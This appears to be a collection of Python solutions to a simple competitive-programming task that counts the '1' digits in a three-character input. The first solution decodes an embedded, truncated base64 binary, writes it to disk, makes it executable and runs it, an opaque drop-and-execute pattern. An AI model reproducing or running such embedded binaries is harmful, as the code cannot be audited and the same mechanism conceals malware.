Problem:
 Score : 100 points    Problem Statement Snuke has a grid consisting of three squares numbered 1 , 2 and 3 .
In each square, either 0 or 1 is written. The number written in Square i is s_i .  Snuke will place a marble on each square that says 1 .
Find the number of squares on which Snuke will place a marble.      Constraints  Each of s_1 , s_2 and s_3 is either 1 or 0 .         Input Input is given from Standard Input in the following format:  s_{1}s_{2}s_{3}       Output Print the answer.        Sample Input 1 101      Sample Output 1 2   A marble will be placed on Square 1 and 3 .        Sample Input 2 000      Sample Output 2 0   No marble will be placed on any square.

Solution (Python):
import subprocess
import gzip, base64, os
import stat

gz = b'H4sIAK6DaF0C/+1ce3wTx51fSX6IlyXe5hEwiUlNCLaFDZikFMm2YBVkcLF5JC0ssiRjJbKkSitiEhJIbOeiCKd80lyby/XBpU3a5tO7kl5KCaVAysO5a3OlSZukTRMo5bHCEJxAwIQE3fxmZuXZ1a5jkt7dP6cEj37f/T3m95uZ38yuZmez073IaDBw8sfIfYkDyjHOjmk7xQtrMiwIq+KGoL9TuclcHqJzGT47Z1eUfVS1XJopnwn9y0H/qoyErjLaFeVkyieXBqbM5diPXVH6vsgpSo4ryshBXd9aQNC3FqxTlNtNBI/kKeWMVK6PyvVRfrnkjJyilP3Lof8aKd5I/ZLLWspXy/DDp/6k6IPvq6sIvbrKrih9lM+nkvsyksvjBv+x0nI5tacXlxJaf7mU26EsGGiaW1kW9M0KBkLxtlltVXNnza0sjYVLZ+M6WSnv4qUrFHEspHUeQ/sAXO9rKa/63thRv7UOd5z8/Rtr/mXru28+DtduZdptZHP9Os+0WgNgpejfbPRv6EPbhO94f3Xo8db0K492esdtvdP+/qz3hbUFRRvKS5x/dI95anjNdydHdm103bNTLw4foIqN0sDHGbTxn3HauDXTY5SfqTr4sznaehp08N/o2PXq8L+jg4/P1cYX6vB/qINLOniFjr8f6cTzPR09y3T0fEMnDmd18NM6do06cSjV4c8xaeNmHf5/1OH/kQ7+ik4/fFDHr4BOfIbo+DVcR//fdOK/Scev+3X0WHXsvqrj78M6+EGd+ryhU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V6yK76/OrsGVA+K1lj2iOHIWsESn0UtAYLe+yw8jI+BJhkiv8Gi16jdURlAAA='
bin = gzip.decompress(base64.b64decode(gz))
p = os.path.dirname(__file__)
pymain = os.path.join(p, "a.out")
with open(pymain, "wb") as f:
    f.write(bin)
os.chmod(pymain, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)
if p == "":
    pymain = "./" + pymain
subprocess.call(pymain)



'''


def main2():
    stdin = open('/dev/stdin')
    print(stdin.readline().count('1'))
'''

Solution (Python):
s = input()
counter = 0
if s[0] == '1':
    counter += 1
if s[1] == '1':
    counter += 1
if s[2] == '1':
    counter += 1
print(counter)

Solution (Python):
a = [int(c) for c in input()]
print(a[0] + a[1] + a[2])

Solution (Python):
s1, s2, s3=map(int,input())
print(s1+s2+s3)

Solution (Python):
print(input().count("1"))

Solution (Python):
print(input().count('1'))

Solution (Python):

def main():
	inp = input().strip()
	counter = inp.count('1')
	print(counter)

if __name__ == "__main__":
    main()

Solution (Python):
list = input()
ans = int(list[0]) + int(list[1]) + int(list[2])
print(ans)

Solution (Python):
s = input()
print(int(s[0]) + int(s[1]) + int(s[2]))

Solution (Python):
s = input()
ans = 0
for i in s:
    if i == "1":
        ans += 1
print(ans)

Solution (Python):
s = input()
print(s.count('1'))

Solution (Python):

a = list(input())
count = 0

for i in range(len(a)):
    if a[i] == '1':
        count += 1

print(count)

Solution (Python):
print(input().count("1"))

Solution (Python):
con = 0

str_list = list(input())
for i in range(0,3):
    if str_list[int(i)] == "1":
        con += 1
print(con)

Solution (Python):
l = input()
a = 0
if int(l[0]) == 1:
    a = a + 1
else:
    pass
if int(l[1]) == 1:
    a = a + 1
else:
    pass
if int(l[2]) == 1:
    a = a + 1
else:
    pass
print(a)

Solution (Python):


print(input().count("1"))

Solution (Python):
s = str(input())
print(s.count('1'))

Solution (Python):
a=map(int,list(input()))
b=0
for i in a:
  if i==1:
    b+=1
  else:
    pass
print(b)

Solution (Python):
a=map(int,list(input()))
b=0
for i in a:
  if i==1:
    b+=1
  else:
    pass
print(b)

Solution (Python):
import re
print(len(re.findall('1',input())))

Solution (Python):


string = str(input())

cnt = 0
for i in range(0, len(string)):
    if string[i] == "1":
        cnt += 1
print(cnt)

Solution (Python):
s = input()
print(s.count("1"))

Solution (Python):
s = list(input())
print(s.count("1"))

Solution (Python):
print(input().count('1'))

Solution (Python):
a = input()
one_number = a.count('1')
print( 1 * one_number)

Solution (Python):
s = input()
print(s.count("1"))

Solution (Python):
a = input()

count = 0

if a[0:1] == "1":
  count += 1

if a[1:2] == "1":
  count += 1

if a[2:3] == "1":
  count += 1

print(count)

Solution (Python):
l = input()
count = 0
for n in range(len(l)):
    if l[n] == "1":
        count+=1
print(count)

Solution (Python):
inputs = input()
input_arr = [int(inputs[i]) for i in range(len(inputs))]
print(sum(input_arr))

Solution (Python):
s=input()
print(s.count("1"))

Solution (Python):
S = list(input())

print(S.count('1'))

Solution (Python):
a = 0
s = input()
for i in range(len(s)):
    if s[i] == "1":
        a += 1
print(a)

Solution (Python):
s=input()
ans=0
for i in range(3):
    if int(s[i])==1:
        ans+=1
print(ans)

Solution (Python):
a= input()
count=0

if a[0]=="1":
  count+=1
if a[1]=="1":
  count+=1
if a[2]=="1":
  count+=1
  
print(count)

Solution (Python):
s = input()
a = 0
if(s[0] == "1"):
  a += 1
if(s[1] == "1"):
  a += 1
if(s[2] == "1"):
  a += 1
print(a)

Solution (Python):
print(input().count("1"))

Solution (Python):
input_value = input()
a, b, c = input_value
d = [a, b, c]
print(d.count('1'))

Solution (Python):
def ten_decision(n,count):
  tmp = count
  if n >= 10 and n<100:
    count = count + 1
    n = n%10
    if n == 1:
      count = count + 1
  if tmp == count:
    return 0
  return count

n=int(input())
count = 0
if n == 0:
  print(0)
elif n == 1:
  print(1)
elif ten_decision(n,count):
  print(ten_decision(n,count))
elif n >= 100:
  count = count + 1
  n = n%100
  if ten_decision(n,count):
    print(ten_decision(n,count))
  else :
    if n ==1:
      count = count + 1
    print(count)

Solution (Python):
nums = list(input())
a = 0
for num in nums:
    if num=="1":
        a +=1
print(a)

Solution (Python):
n=int(input())
count = 0
if n == 0:
  print(0)
elif n == 1:
  print(1)
elif n >= 10 and n <100:
  count = count + 1
  n = n%10
  if n == 1:
    count = count + 1
  print(count)
elif n >= 100:
  count = count + 1
  n = n%100
  if n >= 10:
    count = count + 1
    n = n%10
    if n == 1:
      count = count + 1
  else :
    if n ==1:
      count = count + 1
  print(count)

Solution (Python):
s=input()
count=0
if s[0]=="1":
    count+=1
if s[1]=="1":
    count+=1
if s[2]=="1":
    count+=1
print(count)

Solution (Python):
print(sum(map(int, list(input()))))

Solution (Python):
A=int(input())

print(A%3 if A!=111 else 3)

Solution (Python):
s = input()
res = int(s[0]) + int(s[1]) + int(s[2])
print(res)

Solution (Python):
print(input().count("1"))

Solution (Python):
i = {}
i[0] = int(input())
i[1] = int(i[0] / 10)
i[2] = int(i[1] / 10)
i[1] = i[1] - i[2] * 10
i[0] = i[0] - i[1] * 10 - i[2] * 100
s = i[0] + i[1] + i[2]
print(s)

Solution (Python):
s = input()
print(s.count("1"))

Solution (Python):
from collections import defaultdict, Counter
from heapq import heapify, heappop, heappush
from sys import stdin
 
def main():
    S = input()
    ans = 0
    for s in S:
        if s == "1":
            ans += 1
    print(ans)
 
input = lambda: stdin.readline().rstrip()
main()

Solution (Python):
s = input()
print(s.count('1'))

Solution (Python):
print(input().count('1'))

Solution (Python):
print(input().count("1"))

Solution (Python):
print(input().count('1'))

Solution (Python):
a = input()

print(int(a[0]) + int(a[1]) + int(a[2]))

Solution (Python):
n=input()
print(n.count('1'))

Solution (Python):
a=0
for x in input():
    a+=int(x)
print(a)

Solution (Python):
s = list(input())
i = 0

for s_ in s:
    if int(s_) == 1:
        i += 1


print(i)

Solution (Python):
a = str(input())

print(a.count("1"))

Solution (Python):
s = input()
count = 0
if s[0] == "1":
    count += 1
if s[1] == "1":
    count += 1
if s[2] == "1":
    count += 1
print(count)

Solution (Python):
a = str(input())


print(a.count('1'))

Solution (Python):
print(input().count("1"))

Solution (Python):
print(int(input())%9)

Solution (Python):
print(input().count('1'))

Solution (Python):
s=list(input()); print(s.count('1'))

Solution (Python):
s = input()
ones = 0
for i in s:
  if i == "1":
    ones += 1

print(ones)

Solution (Python):
S = input()
count=0
for s in S:
  if s == '1':
    count+=1
print(count)

Solution (Python):
s = input()
c = 0
for i in range(3):
  if s[i] == "1":
    c += 1
print(c)

Solution (Python):
print(input().count('1'))

Solution (Python):
a = input()
print(a.count('1'))

Solution (Python):
def main():
    s = input()
    count = 0
    for i in range(len(s)):
        if s[i] == "1":
            count += 1
    return count

if __name__ == '__main__':
    print(main())

Solution (Python):
s = list(input())
num = 0
for i in s:
	if int(i) == 1:
		num += 1
print(num)

Solution (Python):
s = input()
print(s.count("1"))

Solution (Python):
s = str(input())
count = 0

for i in s:
  if i == '1':
    count += 1
    
print(count)

Solution (Python):
l = list(input())
print(l.count('1'))

Solution (Python):
print([ _ for _ in input() ].count('1'))

Solution (Python):
a = input().count("1")
print(a)

Solution (Python):
s = input()
print(s.count("1"))

Solution (Python):
S = input()
ans = 0
for i in S:
    if i == "1":
        ans+=1

print(ans)

Solution (Python):
print(input().count("1"))

Solution (Python):
print(list(input()).count("1"))

Solution (Python):
print(input().count("1"))

Solution (Python):
print(input().count('1'))

Solution (Python):
print(len(list(filter(lambda i: i == 1, [int(s) for s in input()]))))

Solution (Python):
a = input()
cnt = 0
if a[0] == '1':
  cnt += 1
if a[1] == '1':
  cnt += 1
if a[2] == '1':
  cnt += 1
  
print(cnt)

Solution (Python):
a = int(input())
cnt = 0
  
while a != 0:
  if a%10 == 1:
  	cnt += 1
  a = int(a/10)
  
print(cnt)

Solution (Python):
count = 0
for s in input():
  if int(s) == 1:
    count+=1
print(count)

Solution (Python):
print(input().count('1'))

Solution (Python):
s = input()
count = 0
for i in range(len(s)):
    if s[i] == '1':
        count+=1
print(count)

Solution (Python):
print(input().count("1"))

Solution (Python):
input = input()
list = [int(s) for s in input]
count = 0
for s in list:
  if s == 1:
    count += 1

print(count)

Solution (Python):
print(list(input()).count('1'))

Solution (Python):
print(input().count('1'))

Solution (Python):
a, b, c = map(int, input())
print(a + b + c)

Solution (Python):
a, b, c = map(int, input())
print(a + b + c)

Solution (Python):
s = input()
j = 0

for i in range(3):
	if int(s[i]) == 1:
		j += 1

print(j)

Solution (Python):
sum = input()
cnt = 0
  
if sum[0] == '1' :
  cnt += 1
 
if sum[1] == '1':
  cnt += 1
 
if sum[2] == '1':
  cnt += 1

print(cnt)

Solution (Python):
ans=0
for s in input():
    ans+=int(s)
print(ans)

Solution (Python):
src = input()

sum = 0
if src[0] == '1':
    sum += 1
if src[1] == '1':
    sum += 1
if src[2] == '1':
    sum += 1

print(sum)

Solution (Python):
s = input()
print(int(s[0])+int(s[1])+int(s[2]))

Solution (Python):
print(input().count("1"))

Solution (Python):
print(input().count("1"))

Solution (Python):
input_a = str(input())
count = 0
for i in input_a:
    if i == "1":
        count += 1
print(count)

Solution (Python):
S = input()

print(S.count("1"))

Solution (Python):
s=input()
ans=0
for i in range(3):
  if(s[i]=='1'):
    ans+=1
print(ans)

Solution (Python):
s = input()
print(s.count('1'))

Solution (Python):
count = 0
for i in str(input()):
  if i == "1":
    count+=1    
print(count)

Solution (Python):
A = [int(a) for a in list(input())]
print(sum(A))

Solution (Python):
li=list(input())
t = 0
for i in li:
    if i == "1":
        t+=1
    else:
        pass
print(t)

Solution (Python):

s  = input()
cnt = 0

for i in range(len(s)):
	if s[i] == '1':
		cnt += 1

print(cnt)

Solution (Python):
a=input()
print(a.count('1'))

Solution (Python):
s = input()
print(len(s.replace('0', '')))

Solution (Python):
print(input().count("1"))

Solution (Python):
s_1,s_2,s_3 = (int(x) for x in input())

print(s_1 + s_2 + s_3)

Solution (Python):
s=input()
print(s.count('1'))

Solution (Python):
def test():
    a = list(input())
    print(a.count("1"))


if __name__ == "__main__":
    test()

Solution (Python):
print(input().count('1'))

Solution (Python):
s = input()

print(s.count("1"))

Solution (Python):
print(input().count('1'))

Solution (Python):
a=input()
print(a.count('1'))

Solution (Python):
n = input()
print(n.count('1'))

Solution (Python):
a=input()


if a[0]=="1":
    b=1
else:
    b=0

if a[1]=="1":
    c=1
else:
    c=0

if a[2]=="1":
    d=1
else:
    d=0

print(b+c+d)

Solution (Python):
inputline = input()
cnt =0

for i in range(len(inputline)):
  
  if int(inputline[i]) == 1:
    cnt +=1
print(cnt)

Solution (Python):
from sys import stdin
a=stdin.readline().rstrip()
x=a.count("1")
print(x)

Solution (Python):
a = input()

count = 0
for i in list(a):
    if i == '1':
        count += 1

print(count)

Solution (Python):



str = input()

print(str.count("1"))

Solution (Python):
s=input()
print(s.count("1"))

Solution (Python):
a =input()
count = print(str(a.count('1')))

Solution (Python):


a = input()
print(sum([int(i) for i in a if i == '1']))

Solution (Python):


s = input()
s_list = list(s)

a = 0

for i in s_list:
  if i == '1':
    a += 1

print(a)

Solution (Python):
s = input()
print(s.count("1"))

Solution (Python):
a, b, c = input()
l = [a,b,c]
 
print(l.count('1'))

Solution (Python):
s=input()
print(s.count("1"))

Solution (Python):
print(input().count("1"))

Solution (Python):
s = list(input())
print(s.count('1'))

Solution (Python):
bdama_lst = str(input())
bdama_spl = list(bdama_lst)
count = 0

for target_list in bdama_spl:
    if target_list == '1':
        count = count + 1

print(count)

Solution (Python):
def main():
    s=list(input())
    s.sort()
    cnt=0
    for i in range(3):
        if(s[i]=="1"):
            cnt+=1
    print(cnt)
    
main()

Solution (Python):
print(input().count("1"))

Solution (Python):
print(input().count("1"))

Solution (Python):
s = input()
print(s.count("1"))

Solution (Python):
ans = 0
for c in input():
    if c == "1":ans += 1
print(ans)

Solution (Python):

S = input()

N = S.count('1')

print(N)

Solution (Python):

S=input()
m=0
for i in S:
    if i=="1":
        m+=1
print(m)

Solution (Python):
print(input().count('1'))

Solution (Python):
s = list(input())
p = 0

for l in s:
    if l == "1":
        p += 1

print(p)

Solution (Python):
print(input().count('1'))

Solution (Python):
a=input().count("1")
print(a)

Solution (Python):
print(input().count('1'))

Solution (Python):
print(input().count('1'))

Solution (Python):
print(sum(map(int, input())))

Solution (Python):
S=input()

print(S.count("1"))

Solution (Python):
s = input()
print(s.count('1'))

Solution (Python):
s = input()
c = 0
for i in s:
  if i == '1':
    c += 1
print(c)

Solution (Python):
s=input()
ans=0
for i in range(0,3):
    if s[i]=='1':
        ans+=1
print(ans)

Solution (Python):
from sys import stdin

a = stdin.readline().rstrip()
count = 0
for x in a:
  if x == '1':
    count += 1
print(count)

Solution (Python):
print(sum(map(int,input())))

Solution (Python):
a=input()
print(a.count('1'))

Solution (Python):
print(input().count("1"))

Solution (Python):
print(sum(map(int,input())))

Solution (Python):
print(input().count('1'))

Solution (Python):
def main():
    s = input()
    ans = 0
    for ss in s:
        if ss == "1":
            ans += 1

    print(ans)


if __name__ == '__main__':
    main()

Solution (Python):
s=input()
print(s.count("1"))

Solution (Python):
s = input()

print(s.count('1'))

Solution (Python):
li = input()
i = 0
if li[0] == '1': i+=1
if li[1] == '1': i+=1
if li[2] == '1': i+=1
print(i)

Solution (Python):
a=input()

print(sum([int(i) for i in str(a)]))

Solution (Python):
s = input()
print(s.count("1"))

Solution (Python):
li = list(input())
count = 0
for i in range(3):
  if li[i] == '1':
    count += 1
print(count)

Solution (Python):
s = input()
print(s.count("1"))

Solution (Python):
s = input()
x = []
for i in range(3):
  x.append(s[i])
print(x.count("1"))

Solution (Python):
print(input().count("1"))

Solution (Python):
print(input().count('1'))

Solution (Python):
s = list(input())

count = 0
for i in range(len(s)):
    if int(s[i]) == 1:
        count += 1

print(count)

Solution (Python):
print(int(input())%9)

Solution (Python):
print(input().count("1"))

Solution (Python):
print(input().count('1'))

Solution (Python):
print(input().count("1"))

Solution (Python):
x = input()
count = 0
for i in range(3):
    if x[i] == '1':
        count+=1
        
print(count)

Solution (Python):
trout = input().rstrip().lstrip()
num_list = []
for i in range(len(trout)):
  num_list.append(int(trout[i]))

print(num_list.count(1))

Solution (Python):


s = input()
counter = 0
if s[0] == '1':
    counter += 1
if s[1] == '1':
    counter += 1
if s[2] == '1':
    counter += 1
print(counter)

Solution (Python):
print(input().count('1'))

Solution (Python):

print(input().count('1'))

Solution (Python):
n = input()
ans = 0
for i in range(3):
    if n[i] == '1':
        ans += 1

print(ans)

Solution (Python):
import sys
input = input().rstrip()
input_list = list(input)
count = 0

for i in range(len(input_list)):
    if(input_list[i] == '1'):
        count += 1

print(count)

Solution (Python):
a = [i for i in input()]
print(a.count('1'))

Solution (Python):
a = input()
ans = 0
for i in range(0,3):
        if a[i] == '1':
                ans += 1

print(ans)

Solution (Python):
string = input()

count = 0
for s in string:
  if s == '1': count += 1\
    
print(count)

Solution (Python):
print(input().count("1"))

Solution (Python):
s = input()
cnt = 0
for ss in s:
  if ss == "1":
    cnt+=1

print(cnt)

Solution (Python):
s = input()
i = 0
if s[0] == '1':
     i += 1
if s[1] == '1':
    i += 1
if s[2] == '1':
    i += 1
print(i)

Solution (Python):
s = input()
s_list = [int(c) for c in s]
print(sum(s_list))

Solution (Python):
print(sum(map(int,input())))

Solution (Python):
print(sum(map(int,input())))

Solution (Python):
s = input()
a = 0
for i in range(3):
  if s[i] == "1": a += 1
print (a)

Solution (Python):
print(input().count("1"))

Solution (Python):
a=input()
s=0
for i in range(3):
	if a[i]=="1":
  		s+=1
print(s)

Solution (Python):
print(list(input()).count('1'))

Solution (Python):
import sys
def input(): return sys.stdin.readline().strip()
s=input()
print(sum(map(int,s)))

Solution (Python):
print(input().count("1"))

Solution (Python):
abc = list(input())
print(abc.count('1'))

Solution (Python):
List = list(input())
num = 0
for i in List:
    if i =="1":
        num+=1

print(num)

Solution (Python):
num = input()
print(num.count("1"))

Solution (Python):
print(list(input()).count("1"))

Solution (Python):
s=list(input())
print(s.count("1"))

Solution (Python):
s=str(input())
print(s.count("1"))

Solution (Python):
s = input()
print(s.count("1"))

Solution (Python):
ss = list(str(input()))
sum = 0
for s in ss:
    sum += int(s)

print(sum)

Solution (Python):
print(input().count('1'))

Solution (Python):
s = input()
num = int(s[0]) + int(s[1]) + int(s[2])
print(num)

Solution (Python):
s = str(input())

print(s.count("1"))

Solution (Python):
print(input().count('1'))

Solution (Python):
s = input()
print(s.count('1'))

Solution (Python):
count = 0
a = input()
for i in a:
  if i == '1':
    count += 1
print(count)

Solution (Python):
s = input()
print(s.count("1"))

Solution (Python):


s = input()

print(sum(int(b) for b in s))

Solution (Python):
ss = int(input())
count = 0
for i in range(len(str(ss))):
    if ss % 10 == 1:
        count +=1
    ss = round(ss/10)

print(count)

Solution (Python):
print(sum(int(s) for s in input()))

Solution (Python):
s = input()
cnt = 0
if s[0] == '1': cnt+=1
if s[1] == '1': cnt+=1
if s[2] == '1': cnt+=1
print(cnt)

Solution (Python):
s = input()
cnt = 0
for i in s:
    if int(i) == 1:
        cnt+=1
print(cnt)

Solution (Python):
s = input()
print(s.count('1'))

Solution (Python):
print(sum(list(map(int, list(input())))))

Solution (Python):
s=list(input())	
n=sum(x=="1" for x in s)
print(n)

Solution (Python):
S = input()
ans = 0
for i in range(3):
    if S[i] == "1":
        ans += 1
print(ans)

Solution (Python):
i = map(int, list(input()))
n = 0
for x in i:
    if x == 1:
        n+=1

print(n)

Solution (Python):
print(input().count("1"))

Solution (Python):
a = input()
b = sum(list(map(int,str(a))))
print(b)

Solution (Python):
str = input()

counter = 0
if str[0]=='1': counter+=1
if str[1]=='1': counter+=1
if str[2]=='1': counter+=1

print(counter)

Solution (Python):
print(input().count("1"))

Solution (Python):
print(input().count("1"))

Solution (Python):
a = input()
sum_a = sum(list(map(int, str(a))))
print(sum_a)

Solution (Python):
n = input()

n0 = int(n[0])
n1 = int(n[1])
n2 = int(n[2])

s = n0 + n1 + n2
print(s)

Solution (Python):
print(input().count("1"))

Solution (Python):
a = input()
b = int(a[0:1])
c = int(a[1:2])
d = int(a[2:3])

ball = 0

if(b == 1):
  ball += 1

if(c == 1):
  ball += 1

if(d == 1):
  ball += 1
  
print(ball)